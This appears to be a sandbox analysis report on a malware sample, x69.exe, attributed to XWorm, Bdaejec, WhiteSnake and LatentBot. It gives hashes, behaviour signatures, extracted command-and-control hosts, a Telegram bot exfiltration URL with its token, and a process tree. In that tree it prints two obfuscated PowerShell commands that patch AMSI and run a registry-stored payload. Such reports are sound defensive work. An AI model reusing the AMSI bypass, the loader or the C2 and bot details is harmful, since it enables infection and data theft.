Resubmissions

22/05/2025, 12:12

250522-pc961stjt7 10

22/05/2025, 12:11

250522-pcnysatjt2 10

20/05/2025, 04:12

250520-eskwysbl9t 10

Analysis

  • max time kernel
    870s
  • max time network
    870s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250425-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250425-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    20/05/2025, 04:12

General

  • Target

    x69.exe

  • Size

    285KB

  • MD5

    20841606ce69632f258221219aeee09b

  • SHA1

    b72918797186774598792c47b66d5857be59f576

  • SHA256

    1ca064f8c8eb72cd0cfda466bb582318c93d2856a89bcf323b37d820f05fdc83

  • SHA512

    aa1d6dcc49a66a5cef5fc64cae299c250bb5327d8d2e985db83e568b9d5acdde3b58249797f84fddcabf21210e194fa2ae3ca6b178286a3563d9574937e2b72e

  • SSDEEP

    6144:3RIUGV77XEc5EDEhp19jyVyFSXnIHq1h8tkEsjuIMN9lLk:uUG5oc5EDAU0F+18guI

Malware Config

Extracted

Family

xworm

Version

3.1

C2

grayhatgroupontop.zapto.org:1177

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7717722960:AAGvuHVf2skcG3rQxo21EcgaQuXDN-eZ9zs/sendMessage?chat_id=6757433004

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7717722960:AAGvuHVf2skcG3rQxo21EcgaQuXDN-eZ9zs/sendMessage?chat_id=6757433004

Extracted

Family

latentbot

C2

grayhatgroupontop.zapto.org

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Detects Bdaejec Backdoor. 5 IoCs

    Bdaejec is backdoor written in C++.

  • Gurcu family
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

  • LatentBot

    Modular trojan written in Delphi which has been in-the-wild since 2013.

  • Latentbot family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 21 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 35 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 8 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 26 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 45 IoCs
  • NTFS ADS 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 49 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:936
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{a19242dc-96bb-48ca-9b49-86f1ad87c554}
          2⤵
            PID:420
          • C:\Windows\System32\dllhost.exe
            C:\Windows\System32\dllhost.exe /Processid:{3f5ca867-fddd-4c7c-b435-bd2d7a17afcf}
            2⤵
              PID:5312
          • C:\Windows\system32\lsass.exe
            C:\Windows\system32\lsass.exe
            1⤵
              PID:676
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
              1⤵
                PID:972
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:392
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:476
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:456
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                      1⤵
                        PID:1032
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Indicator Removal: Clear Windows Event Logs
                        PID:1080
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1184
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                          1⤵
                          • Drops file in System32 directory
                          PID:1240
                          • C:\Windows\system32\taskhostw.exe
                            taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                            2⤵
                              PID:3220
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:ZnUQyXlWTWsj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SfOXcgckuEyuGt,[Parameter(Position=1)][Type]$UTUpuZnLwH)$qUHKBJxSYNY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'ry'+[Char](77)+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'T'+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+'A'+'u'+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$qUHKBJxSYNY.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+''+'e'+'cia'+[Char](108)+''+'N'+''+[Char](97)+'me,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+'P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$SfOXcgckuEyuGt).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$qUHKBJxSYNY.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+'g'+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'',$UTUpuZnLwH,$SfOXcgckuEyuGt).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $qUHKBJxSYNY.CreateType();}$TZAEQWjGXDmSs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+'i'+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+'e'+[Char](78)+''+'a'+'t'+[Char](105)+''+'v'+''+[Char](101)+'M'+'e'+''+'t'+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$KybpxFYdMHuPhT=$TZAEQWjGXDmSs.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+'dr'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+'t'+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TLljcKwpGUOLINyQcAm=ZnUQyXlWTWsj @([String])([IntPtr]);$aZjbOxNcdAXjGuztqCtRKd=ZnUQyXlWTWsj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mrKkGBnfHCD=$TZAEQWjGXDmSs.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$IPUohhNAJNPeQp=$KybpxFYdMHuPhT.Invoke($Null,@([Object]$mrKkGBnfHCD,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+'L'+'ib'+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$BsHbkCgAwWjGnYEJu=$KybpxFYdMHuPhT.Invoke($Null,@([Object]$mrKkGBnfHCD,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+'t')));$KNtegdh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IPUohhNAJNPeQp,$TLljcKwpGUOLINyQcAm).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$XUgGyysuMXtOUCXGP=$KybpxFYdMHuPhT.Invoke($Null,@([Object]$KNtegdh,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+'e'+''+[Char](114)+'')));$bYDKaTbANg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BsHbkCgAwWjGnYEJu,$aZjbOxNcdAXjGuztqCtRKd).Invoke($XUgGyysuMXtOUCXGP,[uint32]8,4,[ref]$bYDKaTbANg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XUgGyysuMXtOUCXGP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BsHbkCgAwWjGnYEJu,$aZjbOxNcdAXjGuztqCtRKd).Invoke($XUgGyysuMXtOUCXGP,[uint32]8,0x20,[ref]$bYDKaTbANg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](120)+''+[Char](54)+'9'+[Char](115)+'t'+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                              2⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4284
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                3⤵
                                  PID:4816
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:tTTOCAxvJSUr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nQlLGRSUSBCeKk,[Parameter(Position=1)][Type]$ywlBvduSJp)$LwbqvrTVtWC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+''+'m'+''+'o'+''+[Char](114)+''+'y'+''+'M'+''+[Char](111)+'d'+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+','+'A'+'u'+''+[Char](116)+'o'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$LwbqvrTVtWC.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nQlLGRSUSBCeKk).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');$LwbqvrTVtWC.DefineMethod('I'+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+'b'+'li'+'c'+''+[Char](44)+'Hid'+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+'lot,'+'V'+''+'i'+''+'r'+'tu'+'a'+''+'l'+'',$ywlBvduSJp,$nQlLGRSUSBCeKk).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+'a'+''+[Char](110)+'ag'+[Char](101)+''+'d'+'');Write-Output $LwbqvrTVtWC.CreateType();}$wGrWkHPpWUHke=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'i'+'n'+'3'+[Char](50)+''+'.'+'Un'+'s'+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$xtOMhiYmxIUDdI=$wGrWkHPpWUHke.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+'r'+''+[Char](111)+'cA'+[Char](100)+''+'d'+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PZvdrMKapPOdAvvYEdz=tTTOCAxvJSUr @([String])([IntPtr]);$AyaPcHdgEbThyubIxsHfNV=tTTOCAxvJSUr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DwcusrERtjr=$wGrWkHPpWUHke.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+'l'+[Char](108)+'')));$aSASWrPVCjGGKu=$xtOMhiYmxIUDdI.Invoke($Null,@([Object]$DwcusrERtjr,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$nYHIVLkazvLFSzIKf=$xtOMhiYmxIUDdI.Invoke($Null,@([Object]$DwcusrERtjr,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+'t')));$yGQlvzU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aSASWrPVCjGGKu,$PZvdrMKapPOdAvvYEdz).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+'.'+''+'d'+''+[Char](108)+''+'l'+'');$EjalRQKfExDuBjCis=$xtOMhiYmxIUDdI.Invoke($Null,@([Object]$yGQlvzU,[Object](''+[Char](65)+''+'m'+''+'s'+''+'i'+'S'+[Char](99)+'anB'+'u'+'f'+'f'+''+'e'+'r')));$SPdlteeqMb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nYHIVLkazvLFSzIKf,$AyaPcHdgEbThyubIxsHfNV).Invoke($EjalRQKfExDuBjCis,[uint32]8,4,[ref]$SPdlteeqMb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EjalRQKfExDuBjCis,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nYHIVLkazvLFSzIKf,$AyaPcHdgEbThyubIxsHfNV).Invoke($EjalRQKfExDuBjCis,[uint32]8,0x20,[ref]$SPdlteeqMb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](120)+''+'6'+''+[Char](57)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
                                2⤵
                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5464
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4324
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5756
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:6972
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:7064
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1816
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3192
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1052
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2860
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5684
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:460
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4768
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:6076
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5512
                              • C:\Users\Admin\AppData\Roaming\x69.exe
                                "C:\Users\Admin\AppData\Roaming\x69.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2584
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                              1⤵
                                PID:1292
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1308
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1320
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1352
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1480
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                        1⤵
                                          PID:1528
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                          1⤵
                                            PID:1544
                                            • C:\Windows\system32\sihost.exe
                                              sihost.exe
                                              2⤵
                                              • Modifies registry class
                                              PID:2604
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1588
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                              1⤵
                                                PID:1604
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1752
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                  • Modifies Internet Explorer settings
                                                  PID:1808
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1896
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1912
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1920
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2044
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:1156
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:2152
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2284
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                  PID:2336
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2384
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                    1⤵
                                                                      PID:2544
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                      1⤵
                                                                        PID:2560
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                        • Drops file in System32 directory
                                                                        PID:2704
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2740
                                                                        • C:\Windows\sysmon.exe
                                                                          C:\Windows\sysmon.exe
                                                                          1⤵
                                                                            PID:2812
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2844
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                              1⤵
                                                                                PID:2852
                                                                              • C:\Windows\system32\wbem\unsecapp.exe
                                                                                C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                1⤵
